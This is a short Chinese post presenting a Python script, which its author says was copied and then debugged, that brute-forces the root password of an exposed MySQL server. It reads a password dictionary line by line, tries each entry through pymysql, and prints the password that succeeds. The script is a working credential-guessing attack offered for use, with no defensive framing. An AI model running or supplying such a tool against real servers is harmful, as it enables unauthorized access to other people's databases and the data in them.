本文摘自别人的,自己运行调试了一下
#!/user/bin/env python
#-*- coding:utf-8 -*-
import pymysql#导入连接数据库的模块
import sys
class PoJie:
def __init__(self,path):
self.file =open(path)#打开密码字典文件
def LianJieMySql(self,word):#连接数据库的方法
try:
db =pymysql.connect("mysql暴露的host","root",word) #连接数据库
#pymysql.connect()方法的第一个参数是ip地址,本机可以用localhost代替
#第二个参数是账户名,本文章为知道用户名情况破解密码
#第三个是密码,
db.close()#关闭数据库
return True#连接成功返回True
except:
return False
def PoJieChangShi(self):#读取密码字典的方法
while True:#循环读取
mystr=self.file.readline()#读取密码字典的一行
if not mystr:#如果读到文件最后没有数据了,就跳出循环
break
if self.LianJieMySql(mystr):#把读到的一行密码传到连接数据库方法里面
#如果返回了True说明破解成功
print("true password", mystr) # 打印正确密码
break#结束循环
else :
print("wrong password",mystr)
def __del__(self):#无论如何最终要执行的方法
self.file.close()#关闭密码字典文件
pass
path = r"c:\redis_userpasswd.txt" # 传入密码字典绝对文件路径
start = PoJie(path) # 实例化对象
start.PoJieChangShi() # 对象执行方法
# if __name__ == '__main__':
# path=r"c:\redis_userpasswd.txt"#传入密码字典绝对文件路径
# start =PoJie(path)#实例化对象
# start.PoJieChangShi()#对象执行方法